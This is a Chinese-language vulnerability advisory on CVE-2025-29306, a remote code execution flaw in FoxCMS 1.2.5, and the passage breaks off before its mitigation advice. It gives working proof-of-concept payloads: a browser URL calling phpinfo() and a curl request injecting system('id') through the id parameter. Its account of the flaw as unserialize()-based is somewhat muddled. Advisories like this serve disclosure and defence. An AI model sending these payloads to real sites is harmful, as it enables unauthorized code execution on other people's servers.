CVE-2025-29306 – FoxCMS v1.2.5 通过反序列化注入实现未授权远程代码执行

概述

CVE-2025-29306是一个影响FoxCMS 1.2.5版本的严重远程代码执行（RCE）漏洞。该漏洞源于对id参数的不安全处理，该参数未经验证直接传递给PHP的unserialize()函数。攻击者可以提供恶意的序列化PHP对象，通过system()触发任意命令执行。

漏洞信息：

FoxCMS直接将用户提供的id参数输入传递给unserialize()函数。当提供恶意的序列化PHP对象时，FoxCMS会无意中执行攻击者控制的PHP代码。

典型payload可能注入如下PHP代码：

1

${@print_r(@system("id"))}

当反序列化并评估时，这将导致任意操作系统命令执行。这种技术被称为PHP对象注入（POI），利用unserialize()作为初始注入向量。

要利用此漏洞，攻击者需要向易受攻击的案例展示页面构造POST请求，注入随后被写入.php文件的PHP代码。

简单浏览器PoC 已知的漏洞利用只需调用phpinfo()：将TARGET替换为目标URL或IP。访问该URL将显示完整的phpinfo输出，确认代码执行。

1

http://TARGET/images/index.html?id=${@print(phpinfo())}

使用curl的PoC 将phpinfo()替换为操作系统命令，例如id：

1

curl "http://TARGET/images/index.html?id=%24%7B%40print%28system%28%22id%22%29%29%7D"

这确认了漏洞，并演示了通过FoxCMS v1.2.5中基于反序列化的注入实现远程代码执行。

目前尚无官方补丁。用户应：